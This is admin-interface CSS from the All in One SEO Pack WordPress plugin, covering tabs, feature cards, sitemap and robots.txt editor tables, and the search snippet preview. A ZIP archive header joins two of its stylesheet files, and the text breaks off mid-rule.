0 0 10px 0; } .aiosp_file_editor_settings > .aioseop_textarea_type .aioseop_option_div { max-height: none; } /* Robots.txt styling */ #aiosp_robots_generator_robotgen_wrapper .aioseop_option_div, #aiosp_robots_generator_robothtml_wrapper .aioseop_option_div { max-height: none; } .aioseop_option_input .widefat td { vertical-align: middle; } .entry-row.robots.quirks { font-weight: bold; opacity: 1; } .entry-row.robots { opacity: 0.8; } .entry-row.robots.invalid { opacity: 1; font-weight: bold; } .invalid .entry_label { font-weight: bold; } .aioseop .aioseop_option_input tbody { background: #FCFCFC; } .All_in_One_SEO_Pack_Robots .aioseop .aioseop_option_input tbody { background: transparent; } .entry-row.robots div { height: 20px; vertical-align: middle; width: 90%; margin: 0 0 4px 0; } .robots img { margin: 0 0 0 2px; opacity: 0.6; } .aioseop_option_docs { width: 98%; display: none; border: 1px solid #D3D3D3; margin-top: 20px; padding: 1%; background-color: #EEE; } .aioseop_option_docs h3 { background: none; } div.aioseop_notice { position: relative; } div.aioseop_notice a.aioseop_dismiss_link { position: absolute; top: 10px; right: 10px; } .aioseop_error_notice { color: #f00; font-weight: bold; } .aioseop_input select { border-radius: 4px; border: 1px solid #8d96a0; } .aioseop_help_text ul { margin: 15px 0 0 20px; } .aioseop_help_text ul li { line-height: 20px; margin: 0; } .aioseop_sidebar #side-sortables { width: 98%; } .aioseop_tabs.hide, .aioseop_header_tabs.hide { display: block !important; } .aioseop_header_tabs li a.aioseop_header_tab { font-size: 14px; line-height: 37px; text-decoration: none; cursor: pointer; -webkit-border-top-right-radius: 3px; -webkit-border-top-left-radius: 3px; border-top-right-radius: 3px; border-top-left-radius: 3px; border-bottom: none !important; padding: 0em 0.5em !important; color: #5F5F5F; font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif !important; } .aioseop_tab { padding: 10px; } .aioseop_loading { background-image: url('../../images/activity.gif'); display: inline-block; width: 24px; height: 24px; margin: 0; padding: 0; vertical-align: bottom; } .aioseop_tabs.ui-widget-content { background: none !important; } .aioseop_tab.ui-widget-content { border: 1px solid #aaa !important; } .aioseop_tab.ui-widget-content a.aioseop_help_text_link { color: #757575 !important; } .aioseop_tabs.ui-widget { font-size: 13px !important; border: none !important; } .aioseop_tabs .ui-widget-header { border: none !important; background: none !important; border-bottom-right-radius: 0px !important; border-bottom-left-radius: 0px !important; } .aioseop_tabs ul { margin-left: .2em !important; } .aioseop_tabs .ui-tabs .ui-tabs-panel { border-width: inherit !important; } .aioseop_tabs .ui-state-default, .aioseop_tabs .ui-widget-content .ui-state-default, .aioseop_tabs .ui-widget-header .ui-state-default { background-image: none !important; } .aioseop_tabs .ui-state-active a { font-weight: bold !important; } .aiosp_delete { background-image: url('../../images/delete.png'); display: inline-block; width: 16px; height: 16px; margin: 0; padding: 0; vertical-align: bottom; } form#aiosp_settings_form, .aioseop_tabs_div { padding-right: 477px; } .aioseop_tabs_div { margin-top: 10px; } #aiosp_settings_form ul.sfwd_debug_settings li strong { display: block; float: left; text-align: right; background-color: #DDD; margin-right: 8px; padding: 1px 8px 1px 1px; overflow: auto; width: 200px; min-height: 16px; } #aiosp_settings_form ul.sfwd_debug_settings li:nth-child(2n+1) strong { background-color: #CCC; } #aiosp_settings_form ul.sfwd_debug_settings li { clear: left; margin: 0; padding: 0; background-color: #EEE; overflow: auto; max-width: 75%; min-width: 800px; } #aiosp_settings_form ul.sfwd_debug_settings li:nth-child(2n) { background-color: #DDD; } div.sfwd_debug_mail_sent { background-color: #080; border: 1px solid #0A0; margin: 10px 0 10px 0; width: 598px; color: #FFF; text-align: center; } div.sfwd_debug_error { background-color: #F00; color: #FFF; border: 1px solid #A00; margin: 10px 0 10px 0; width: 598px; text-align: center; font-weight: bolder; } #aiosp_performance_status_wrapper .aioseop_option_div { max-height: 420px; } #aioseop_coming_soon, #aioseop_coming_soon2 { padding-top: 40px; text-align: center; height: 258px; font-size: 16px; } .MRL { margin-left: 20px !important; margin-bottom: 10px !important; } /** * Edit Post screen specific styling * */ .postbox-container .aioseop_option_div { width: 100%; } .postbox-container .aioseop_option_div input[type="text"], .postbox-container .aioseop_option_div textarea { width: 99%; max-width: 900px; } .postbox-container .aioseop_option_label { max-width: none; height: auto !important; } .postbox-container .aioseop_wrapper { padding: 0; } .postbox-container .aioseop_input { width: 100%; margin-bottom: 10px; padding: 0; } .postbox-container .aioseop_option_input { width: 63%; padding: 0; } .postbox-container div#aiosp_upgrade_wrapper { float: none; width: auto; margin: 0; padding: 0; } .postbox-container div#aiosp_upgrade_wrapper .aioseop_input { display: block; padding: 0; } .postbox-container div#aiosp_upgrade_wrapper .aioseop_input .aioseop_option_input { float: none; width: auto; padding: 0; } .postbox-container div#aiosp_upgrade_wrapper .aioseop_input .aioseop_option_input .aioseop_option_div { width: auto; min-height: 0; padding: 10px 0; } .aioseop_tabs .aioseop_options { margin: 0; } #aioseop_opengraph_settings .aioseop_options { clear: both; margin-top: 35px; } /** * Preview Snippet styling * */ div#aiosp_snippet_wrapper { border-radius: 4px; border: 1px solid #8d96a0; clear: both; padding: 10px 10px 0; width: auto; margin: 0 1px 15px; } #aiosp_snippet_wrapper > .aioseop_input:first-child { margin-bottom: 0px; } div#aiosp_snippet_wrapper .aioseop_option_label { height: auto !important; } #aiosp_snippet_wrapper > .aioseop_input:first-child .aioseop_option_label { padding: 0; min-height: inherit; } div#aiosp_snippet_wrapper .aioseop_input.aioseop_top_label .aioseop_option_input { margin: 0; width: 99%; } div#aioseop_snippet { font-family: arial, sans-serif; font-size: 13px; } div#aioseop_snippet > h3 { margin: 10px 0 5px; font-size: 18px; border: 0; background: inherit; font-weight: normal; } div#aioseop_snippet > h3 > a { color: #12c; text-decoration: none; cursor: pointer; } div#aioseop_snippet > div { color: #545454; max-width: 48em; } div#aioseop_snippet > div > div { display: block; margin-bottom: 1px; } div#aioseop_snippet > div > div > cite { color: #00852B; font-style: normal; } div#aioseop_snippet > div > span { margin: 0; padding: 0; border: 0; } /* the good, the bad and the ugly character counts */ .aioseop_count_good { color: #515151 !important; background-color: #eee !important; } .aioseop_count_bad { color: #515151 !important; background-color: #ff0 !important; } .aioseop_count_ugly { color: #fff !important; background-color: #f00 !important; } textarea.robots-text { color: black; background-color: #eee; height: 100%; margin: 0 0 0 10px; } div#aiosp_sitemap_status_metabox .toggle-indicator { display:none; } .required.email { border-radius: 4px; border: 1px solid #8d96a0; margin: 1px; font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif !important; } .aioseop_options_wrapper .ui-sortable-handle span { font-size: 16px; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Oxygen-Sans, Ubuntu, Cantarell, Helvetica Neue, sans-serif; color: black; } .aioseop_file_upload { border: none !important; } .aioseop_upload_image_button { float: left; margin: 0 0 5px 0 !important; } .aioseop_delete_files_button { margin: 0 5px 10px 0 !important; } .aioseop_rename_files_button { margin: 0 0 10px 0 !important; } .aioseop_update_options_button, .aioseop_reset_settings_button { margin: 10px 0 0 0 !important; } #aiosp_robots_default_metabox .aioseop_option_label { margin-left: 10px; } #aiosp_robots_default_metabox .add-edit-rule { margin-left: 5px; } #aiosp_file_editor_htaccess_metabox { margin: 0 !important; } .aioseop_options .aioseop-exclude-terms.selectize-control.multi .selectize-input [data-value] { background-color: #0E7BBE; background-image: none; } /** * Styling for jQuery UI Datepicker in Safari * */ body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div { background-color: #fff; padding: 15px; border: 1px solid #8d96a0; border-radius: 4px; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div .ui-datepicker-prev { float: left; text-align: left; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div .ui-datepicker-prev:before { content: '\2190 '; padding-right: 2px; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div .ui-datepicker-next { float: right; text-align: right; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div .ui-datepicker-next:after { content: '\2192 '; padding-left: 2px; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div .ui-datepicker-title { clear: both; text-align: center; font-weight: bold; padding: 10px 0; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div table.ui-datepicker-calendar { border: 1px solid #007cba; border-collapse: collapse; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div table.ui-datepicker-calendar thead { background-color: #f1f1f1; border-bottom: 1px solid #8d96a0; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div table.ui-datepicker-calendar thead th, body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div table.ui-datepicker-calendar td { width: 2rem; height: 2rem; text-align: center; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div table.ui-datepicker-calendar td a { text-decoration: none; } body[class*="all-in-one-seo_page_all-in-one-seo-pack"] #ui-datepicker-div table.ui-datepicker-calendar td a:hover { border: 1px solid #8d96a0; padding: 5px 7px; } PK������+—[¨$òGx��Gx��6��all-in-one-seo-pack/css/modules/aioseop_module.min.cssnu�„[µü¤��������.all-in-one-seo_page_aiosp_opengraph #wpbody-content,[class*=all-in-one-seo-pack] #wpbody-content{min-width:900px}.form-table.aioseop{clear:none}.form-table.aioseop td{vertical-align:top;padding:16px 0 10px 0;line-height:20px;font-size:12px}.form-table.aioseop th{width:200px;padding:10px 0 12px 9px}.aioseop_help_text_link,.aioseop_help_text_link:active{text-align:left;float:left;max-width:30px;min-width:20px;padding-top:2px;outline:0;color:#888;font-family:sans-serif;line-height:1.4em}.aioseop_help_text_link span{font-size:14px}.aioseop_help_text_link:before{content:"\f223";font-size:22px;font-family:dashicons;vertical-align:middle;margin-right:4px}#aioseop-support .aioseop_metabox_text,#aioseop-support a{font-size:14px;color:#000;text-decoration:none}.aioseop_meta_box_help>label{position:absolute;margin-left:8px}.aioseop_help_text_link img{width:40px;float:left}.aioseop_meta_box_help,.aioseop_meta_box_help:active{float:right;text-align:right;min-width:56px;max-width:90px;text-decoration:none;height:15px;padding-top:1px;position:relative}.aioseop_meta_box_help span{vertical-align:middle}.aioseop_tabs .aioseop_meta_box_help,.aioseop_tabs .aioseop_meta_box_help:active{margin-top:10px}.aioseop_tabs #aioseop_opengraph_settings .aioseop_meta_box_help,.aioseop_tabs #aioseop_opengraph_settings .aioseop_meta_box_help:active{margin-bottom:20px}.aioseop_label{color:#5f5f5f;font-weight:600;line-height:19px;display:inline-block;float:left;text-align:left;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:2px 0;width:81%;min-width:120px;max-width:250px;cursor:default;font-size:13.5px}.aioseop_option_div{max-height:360px;min-height:37px;width:95%;overflow-y:auto}.aioseop_overflowed{border:1px solid #e1e1e1}.aioseop input[type=text],.aioseop input[type=url]{color:#515151;min-height:35px;padding:10px;font-size:14px;width:95%;max-width:600px}.aioseop textarea{color:#515151;padding:10px;margin:1px;font-size:14px;line-height:25px;width:95%;max-width:600px;min-height:36px}.aioseop input,.aioseop textarea{border-radius:4px;border:1px solid #8d96a0;margin:1px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif!important}.aioseop input:focus,.aioseop textarea:focus{box-shadow:0 0 0 1px #007cba}.aioseop textarea::-webkit-scrollbar{width:12px}.aioseop textarea::-webkit-scrollbar-track{background:#f1f1f1}.aioseop textarea::-webkit-scrollbar-thumb{background:#aeaeae}.aioseop textarea::-webkit-scrollbar-thumb:hover{background:#888}.aioseop_help_text_div{text-align:left;width:100%;margin:0}.aioseop_help_text{font-size:12px;float:left;clear:left;color:#797979;line-height:15px;font-style:italic}.aioseop_head_tagline{color:#5f5f5f;font-size:13px}.aioseop_head_nav{float:left;font-size:18px;margin:0 0 16px 0;font-family:HelveticaNeue-Light,"Helvetica Neue Light","Helvetica Neue",sans-serif;width:100%;margin:8px 0 0 0}.aioseop_head_nav_tab{padding:10px 15px 10px 15px;margin:0 0 0 15px;background-color:#fff;border-radius:4px 4px 0 0;border:1px solid #ccc;border-bottom:0 #fff;float:left;color:#000;font-weight:700;text-shadow:#fff 0 1px 0;text-decoration:none}.aioseop_head_nav_tab.aioseop_head_nav_active{opacity:1;margin-bottom:-1px;border-width:1px}.aioseop_head_nav_tab:first-child{margin-left:0}.aioseop_head_nav_tab:hover{opacity:1}.aioseop_header{float:left;clear:left}.aioseop_advert{padding:10px;margin-bottom:30px;border:1px solid #ddd;height:200px;width:423px}.aioseop_nopad{padding-left:0;padding-top:0}.aioseop_nopad_all{padding:0;height:220px;width:445px;margin-bottom:20px;border:none}.aioseop_adverts{float:right}.wincherad{width:100%;height:100%;background-size:100%;background-repeat:no-repeat;margin-bottom:0;border:none}#wincher21{background-image:url(../../modules/images/banner21.jpg)}#wincher22{background-image:url(../../modules/images/banner22.jpg)}.aioseop_content{min-width:760px;clear:left}.aioseop_options_wrapper .hndle{font-size:15px;font-family:Georgia,"Times New Roman","Bitstream Charter",Times,serif;font-weight:400;min-height:18px;padding:7px 10px;margin:0;line-height:1}.aioseop_options_wrapper .submit input.button-primary{margin-bottom:5px}#aiosp_feature_manager_metabox.postbox{margin-top:20px;float:left}.aioseop_advert p{margin:25px 0 25px 0}.aioseop_options_wrapper .postarea{border-color:#dfdfdf;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.aioseop_advert h3{padding:0;margin-top:6px}.aioseop_metabox_text p{margin:0;width:101%}.aioseop_sidebar{width:457px;margin-left:10px}.aioseop_metabox_text{margin-bottom:0}.aioseop_metabox_wrapper{padding:0}.aioseop_metabox_text :last-child{margin:0}.aioseop_metabox_feature{margin-top:20px}.aioseop_translations{margin-top:15px}.aioseop_option_label{float:left;margin:0;padding-top:3px;padding-bottom:3px;width:37%;min-width:150px;max-width:360px;min-height:30px}.aioseop_metabox_text h2{font-size:30px;padding:0;font-weight:700;line-height:29px}#aioseop-about{width:443px;margin-bottom:20px}#aioseop-about .aioseop_metabox_text #mc-embedded-subscribe-form h2{font-size:13px}.aioseop_sidebar #mc-embedded-subscribe-form{margin:0 0 10px 0;background:#fff;padding:10px 10px;border:1px solid #ddd}#aioseop-about .aioseop_metabox_text ul{list-style-type:disc;padding-left:15px}.aioseop input[readonly]{background-color:#eee;margin:5px 1px 5px 1px!important}.aioseop_settings_left{float:left;padding:0;margin:0;width:100%}body.all-in-one-seo_page_all-in-one-seo-pack-aioseop_feature_manager .aioseop_settings_left{margin-top:20px}body.all-in-one-seo_page_all-in-one-seo-pack-pro-aioseop_feature_manager .aioseop_settings_left{margin-top:20px}#aioseop_top_button{margin-top:5px;height:30px}#aioseop-list #mce-EMAIL{margin-top:5px;width:250px}.aioseop_top{margin:10px 10px 0 0}.aioseop_top #aioseop-list{margin-bottom:0}.aioseop_top #aioseop-list.postbox.closed{overflow:hidden}.aioseop_right_sidebar{float:right;margin-top:55px}#aiosp_settings_form .button-primary.hidden{display:none}form#edittag div#aiosp_menulabel_wrapper,form#edittag div#aiosp_sitemap_exclude_wrapper,form#edittag div#aiosp_titleatr_wrapper{display:none}.All_in_One_SEO_Pack_Feature_Manager>#aiosp_settings_form>#aioseop_top_button{height:5px;position:absolute;top:0;width:97%}.All_in_One_SEO_Pack_Feature_Manager>#aiosp_settings_form>.aioseop_settings_left{margin-top:10px}.All_in_One_SEO_Pack_Feature_Manager>.aioseop_right_sidebar.aioseop_options_wrapper{margin-top:30px}div#aiosp_feature_manager_metabox .inside{padding:8px}div.aioseop_feature{position:relative;display:inline-block;float:left;vertical-align:top;width:240px;height:288px;margin:8px;border:1px solid #dedede;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background:#fff;padding:10px 0;-webkit-box-shadow:inset 0 1px 0 #fff,inset 0 0 20px rgba(0,0,0,.05),0 1px 2px rgba(0,0,0,.1);-moz-box-shadow:inset 0 1px 0 #fff,inset 0 0 20px rgba(0,0,0,.05),0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 0 #fff,inset 0 0 20px rgba(0,0,0,.05),0 1px 2px rgba(0,0,0,.1);-webkit-transition-duration:.4s;-moz-transition-duration:.4s}.aioseop_feature .flag{float:right;margin-right:-7px;background:none repeat scroll 0 0 #d23d46;color:#fff;padding:5px 12px 6px 5px;position:relative}.aioseop_feature .flag:before{border-color:#d23d46 #d23d46 #d23d46 transparent;border-style:solid;border-width:14px 4px 15px 10px;content:"";left:-14px;position:absolute;top:0}.aioseop_feature .flag:after{border-color:#892026 transparent transparent;border-style:solid;border-width:6px 6px 6px 0;bottom:-12px;content:"";position:absolute;right:0}.aioseop_feature .flag.pro{display:none}#aioseop_coming_soon .free.flag,.all-in-one-seo_page_all-in-one-seo-pack-pro-modules-aioseop_feature_manager .aioseop_feature .free.flag{display:none}#aioseop_coming_soon .flag.pro{display:block;margin-top:-30px}.all-in-one-seo_page_all-in-one-seo-pack-pro-modules-aioseop_feature_manager #aioseop_coming_soon .flag.pro{display:none}.aioseop_feature h3{font-size:17px;margin:0;padding:0 10px 5px 10px;font-weight:400;font-style:normal;font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",Verdana,"Bitstream Vera Sans",sans-serif}.aioseop_feature p{line-height:150%;font-size:12px;font-family:Georgia,"Times New Roman","Bitstream Charter",Times,serif;margin-bottom:20px;color:#666;padding:0 10px}.aioseop_feature p.aioseop_desc{min-height:80px}.aioseop_feature .feature_button{float:right;display:inline-block;position:relative;margin:0 10px 10px 0;min-width:80px;text-align:center}.aioseop_feature .feature_button:before{content:"Activate"}.aioseop_feature .active.feature_button:before{content:"Deactivate"}div.aioseop_feature .aioseop_featured_image{min-height:100px;background-repeat:no-repeat;display:block;margin:0 auto;width:133px}div.aioseop_feature .aioseop_featured_image{background-image:url(../../modules/images/Default-BW-Standard.png)}div.aioseop_feature .aioseop_featured_image.active{background-image:url(../../modules/images/Default-Color-Standard.png)}div.aioseop_feature#aioseop_sitemap .aioseop_featured_image{background-image:url(../../modules/images/XMLSitemaps-BW-Standard.png)}div.aioseop_feature#aioseop_sitemap .aioseop_featured_image.active{background-image:url(../../modules/images/XMLSitemaps-Color-Standard.png)}div.aioseop_feature#aioseop_video_sitemap .aioseop_featured_image{background-image:url(../../modules/images/VideoSitemap-BW-Standard.png)}div.aioseop_feature#aioseop_video_sitemap .aioseop_featured_image.active{background-image:url(../../modules/images/VideoSitemap-Color-Standard.png)}div.aioseop_feature#aioseop_opengraph .aioseop_featured_image{background-image:url(../../modules/images/SocialMeta-BW-Standard.png)}div.aioseop_feature#aioseop_opengraph .aioseop_featured_image.active{background-image:url(../../modules/images/SocialMeta-Color-Standard.png)}div.aioseop_feature#aioseop_bad_robots .aioseop_featured_image,div.aioseop_feature#aioseop_robots .aioseop_featured_image{background-image:url(../../modules/images/Robots-BW-Standard.png)}div.aioseop_feature#aioseop_bad_robots .aioseop_featured_image.active,div.aioseop_feature#aioseop_robots .aioseop_featured_image.active{background-image:url(../../modules/images/Robots-Color-Standard.png)}div.aioseop_feature#aioseop_file_editor .aioseop_featured_image{background-image:url(../../modules/images/FileEditor-BW-Standard.png)}div.aioseop_feature#aioseop_file_editor .aioseop_featured_image.active{background-image:url(../../modules/images/FileEditor-Color-Standard.png)}div.aioseop_feature#aioseop_importer_exporter .aioseop_featured_image{background-image:url(../../modules/images/ImporterExporter-BW-Standard.png)}div.aioseop_feature#aioseop_importer_exporter .aioseop_featured_image.active{background-image:url(../../modules/images/ImporterExporter-Color-Standard.png)}div.aioseop_feature#aioseop_performance .aioseop_featured_image{background-image:url(../../modules/images/Performance-BW-Standard.png)}div.aioseop_feature#aioseop_performance .aioseop_featured_image.active{background-image:url(../../modules/images/Performance-Color-Standard.png)}div.aioseop_feature#aioseop_coming_soon .aioseop_featured_image{background-image:url(../../modules/images/Default-Color-Standard.png)}div.aioseop_feature#aioseop_coming_soon2 .aioseop_featured_image{background-image:url(../../modules/images/Default-Color-Standard.png)}.All_in_One_SEO_Pack_Sitemap>form>.wrap>.form-table,.All_in_One_SEO_Pack_Video_Sitemap>form>.wrap>.form-table{max-width:500px;clear:none}.aioseop_follow_button{min-height:50px;background-repeat:no-repeat;display:inline-block;width:100px;background-size:auto 50px!important;margin-right:0}.aioseop_facebook_follow{background-image:url(../../modules/images/facebook-follow-standard.png)}.aioseop_twitter_follow{background-image:url(../../modules/images/twitter-follow-standard.png)}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min--moz-device-pixel-ratio:1.5),only screen and (-o-min-device-pixel-ratio:3/2),only screen and (min-device-pixel-ratio:1.5),only screen and (min-resolution:1.5dppx){div.aioseop_feature .aioseop_featured_image{background-size:auto 100px!important}div.aioseop_feature .aioseop_featured_image.active{background-image:url(../../modules/images/Default-Color-Retina.png)}div.aioseop_feature .aioseop_featured_image{background-image:url(../../modules/images/Default-BW-Retina.png)}div.aioseop_feature#aioseop_sitemap .aioseop_featured_image{background-image:url(../../modules/images/XMLSitemaps-BW-Retina.png)}div.aioseop_feature#aioseop_sitemap .aioseop_featured_image.active{background-image:url(../../modules/images/XMLSitemaps-Color-Retina.png)}div.aioseop_feature#aioseop_video_sitemap .aioseop_featured_image{background-image:url(../../modules/images/VideoSitemap-BW-Retina.png)}div.aioseop_feature#aioseop_video_sitemap .aioseop_featured_image.active{background-image:url(../../modules/images/VideoSitemap-Color-Retina.png)}div.aioseop_feature#aioseop_opengraph .aioseop_featured_image{background-image:url(../../modules/images/SocialMeta-BW-Retina.png)}div.aioseop_feature#aioseop_opengraph .aioseop_featured_image.active{background-image:url(../../modules/images/SocialMeta-Color-Retina.png)}div.aioseop_feature#aioseop_bad_robots .aioseop_featured_image,div.aioseop_feature#aioseop_robots .aioseop_featured_image{background-image:url(../../modules/images/Robots-BW-Retina.png)}div.aioseop_feature#aioseop_bad_robots .aioseop_featured_image.active,div.aioseop_feature#aioseop_robots .aioseop_featured_image.active{background-image:url(../../modules/images/Robots-Color-Retina.png)}div.aioseop_feature#aioseop_file_editor .aioseop_featured_image{background-image:url(../../modules/images/FileEditor-BW-Retina.png)}div.aioseop_feature#aioseop_file_editor .aioseop_featured_image.active{background-image:url(../../modules/images/FileEditor-Color-Retina.png)}div.aioseop_feature#aioseop_importer_exporter .aioseop_featured_image{background-image:url(../../modules/images/ImporterExporter-BW-Retina.png)}div.aioseop_feature#aioseop_importer_exporter .aioseop_featured_image.active{background-image:url(../../modules/images/ImporterExporter-Color-Retina.png)}div.aioseop_feature#aioseop_performance .aioseop_featured_image{background-image:url(../../modules/images/Performance-BW-Retina.png)}div.aioseop_feature#aioseop_performance .aioseop_featured_image.active{background-image:url(../../modules/images/Performance-Color-Retina.png)}div.aioseop_feature#aioseop_coming_soon .aioseop_featured_image{background-image:url(../../modules/images/Default-BW-Retina.png)}div.aioseop_feature#aioseop_coming_soon2 .aioseop_featured_image{background-image:url(../../modules/images/Default-BW-Retina.png)}.aioseop_facebook_follow{background-image:url(../../modules/images/facebook-follow-retina.png)}.aioseop_twitter_follow{background-image:url(../../modules/images/twitter-follow-retina.png)}}.aioseop_options{width:100%;margin:18px 0 10px 0}.aioseop_wrapper{width:100%;padding-left:5px}.aioseop_input{clear:left;width:98%;padding:5px 1%;display:inline-block}.aioseop_option_input{float:left;width:61%;margin:0;padding-left:1px;min-width:160px}#aiosp_sitemap_addl_pages_metabox .aioseop_options,#aiosp_video_sitemap_addl_pages_metabox .aioseop_options{width:97%;margin:5px}#aiosp_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_sitemap_addl_instructions_wrapper,#aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_video_sitemap_addl_instructions_wrapper{display:block;width:100%;float:none;margin:0}#aiosp_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_sitemap_addl_instructions_wrapper .aioseop_input,#aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_video_sitemap_addl_instructions_wrapper .aioseop_input{display:block;width:100%}#aiosp_sitemap_addl_pages_metabox .aioseop_wrapper,#aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper{padding:0}#aiosp_sitemap_addl_pages_metabox .aioseop_wrapper .aioseop_top_label,#aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper .aioseop_top_label{width:70%;margin:0}#aiosp_sitemap_addl_pages_metabox .aioseop_wrapper .aioseop_option_label,#aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper .aioseop_option_label{height:30px!important}#aiosp_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_sitemap_addl_mod_wrapper input.aiseop-date,#aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_video_sitemap_addl_mod_wrapper input.aiseop-date{height:36px}#aiosp_sitemap_addl_pages_metabox .aioseop_options .aioseop_submit_type,#aiosp_video_sitemap_addl_pages_metabox .aioseop_options .aioseop_submit_type{margin:0}#aiosp_sitemap_addl_pages_metabox .aioseop_options .aioseop_submit_type input.button-primary,#aiosp_video_sitemap_addl_pages_metabox .aioseop_options .aioseop_submit_type input.button-primary{margin-left:0!important}#aiosp_sitemap_addl_pages_metabox .aioseop_help_text_div,#aiosp_video_sitemap_addl_pages_metabox .aioseop_help_text_div{position:absolute;width:auto;margin:5px 0 10px 0}#aiosp_sitemap_addl_pages_metabox table.aioseop_table,#aiosp_video_sitemap_addl_pages_metabox table.aioseop_table{width:96%;border:1px solid #ccc;margin:5px 5px 10px}.selectize-control.aioseop-exclude-terms{position:static;width:95%;max-width:600px}.selectize-input{padding:10px 0 10px 10px!important;border:1px solid #8d96a0!important}table.aioseop_table tr:nth-child(odd){background-color:#eee}.All_in_One_SEO_Pack_Opengraph table.aioseop_table tr:nth-child(odd){background-color:rgba(238,238,238,.5)}table.aioseop_table td{width:23%}.All_in_One_SEO_Pack_Opengraph table.aioseop_table{width:80%;max-width:800px;display:block;border-top:1px solid #dfdfdf;border-left:1px solid #dfdfdf}.All_in_One_SEO_Pack_Opengraph table.aioseop_table th{width:18%;border-right:1px solid #dfdfdf;border-bottom:1px solid #dfdfdf}.All_in_One_SEO_Pack_Opengraph div.aioseop_meta_info{margin-top:10px;border:1px solid #dfdfdf;width:80%;max-width:800px}.All_in_One_SEO_Pack_Opengraph table.aioseop_table tr.aioseop_table_header th{background:#f1f1f1;background-image:-webkit-gradient(linear,left bottom,left top,from(#ececec),to(#f9f9f9));background-image:-webkit-linear-gradient(bottom,#ececec,#f9f9f9);background-image:-moz-linear-gradient(bottom,#ececec,#f9f9f9);background-image:-o-linear-gradient(bottom,#ececec,#f9f9f9);background-image:linear-gradient(to top,#ececec,#f9f9f9);padding:5px;border-bottom-color:#dfdfdf;text-shadow:#fff 0 1px 0;-webkit-box-shadow:0 1px 0 #fff;-moz-box-shadow:0 1px 0 #fff;box-shadow:0 1px 0 #fff}.All_in_One_SEO_Pack_Opengraph table.aioseop_table td{border-right:1px solid #dfdfdf;border-bottom:1px solid #dfdfdf}#aioseop_opengraph_settings_facebook_debug_result li.aioseop_opengraph_settings_facebook_debug_item{display:inline-block;width:30%;vertical-align:top}#aioseop_opengraph_settings_facebook_debug_result li.aioseop_opengraph_settings_facebook_debug_item:nth-child(even){font-weight:700}#aioseop_opengraph_settings_facebook_debug_result li.aioseop_opengraph_settings_facebook_debug_item:nth-child(odd){width:70%}#aiosp_sitemap_addl_pages_metabox table.aioseop_table td,#aiosp_video_sitemap_addl_pages_metabox table.aioseop_table td{width:auto;max-width:50%;padding-left:2%;padding-right:2%}table.aioseop_table td,table.aioseop_table th{padding:3px}.aioseop_no_label .aioseop_option_input,.aioseop_top_label .aioseop_option_input{width:100%}#aiosp_settings_form .postbox{margin:20px 0 0 0}.aioseop_settings_left .postbox{float:left;width:100%}.aioseop_option_setting_label{min-height:35px;display:inline-block;white-space:nowrap;overflow:hidden;padding-left:1px;max-width:229px;min-width:160px;width:33%}.aioseop_settings_left .postbox .inside{padding:0;margin:0;clear:right}#aiosp_robots_rules{clear:left;margin-left:20px;max-width:1072px}#aiosp_robots_default_metabox .aioseop_wrapper{width:31%;min-width:165px;display:inline-block;max-width:265px}#aiosp_robots_default_metabox .aioseop_help_text_div{position:absolute;margin:5px 0 10px 0}#aiosp_robots_default_metabox .aioseop_option_input{width:94%;min-width:94%}#aiosp_robots_default_metabox table.aioseop_table{width:96%;border:1px solid #ccc;margin:5px 0 10px 0}#aiosp_robots_default_metabox table.aioseop_table td{width:auto;max-width:50%;padding-left:2%;padding-right:2%}#aiosp_robots_default_metabox table.aioseop_table td:first-child{white-space:nowrap}.aioseop.aioseop_options.aiosp_robots_settings h3{margin:1.5em .6em .3em}#aiosp_settings_form .aioseop_no_label,.aioseop_no_label{float:left;width:92%;max-width:100%}#aiosp_sitemap_status_metabox .handlediv.button-link{display:none}#aiosp_sitemap_status_metabox.closed .inside{display:block}.aioseop_top_label{width:96%;margin:0 10px}.aioseop_hidden_type{margin:0;padding:0;height:0}#aiosp_title_metabox #aiosp_force_rewrites_wrapper{display:none;height:0}.aioseop_module.error.below-h2{padding:5px 0;margin:0 477px 15px 0!important}#aioseop_opengraph_settings .inside{margin:0}#aioseop_opengraph_settings_image_wrapper img{width:auto;height:75px}#aioseop_opengraph_settings_image_wrapper 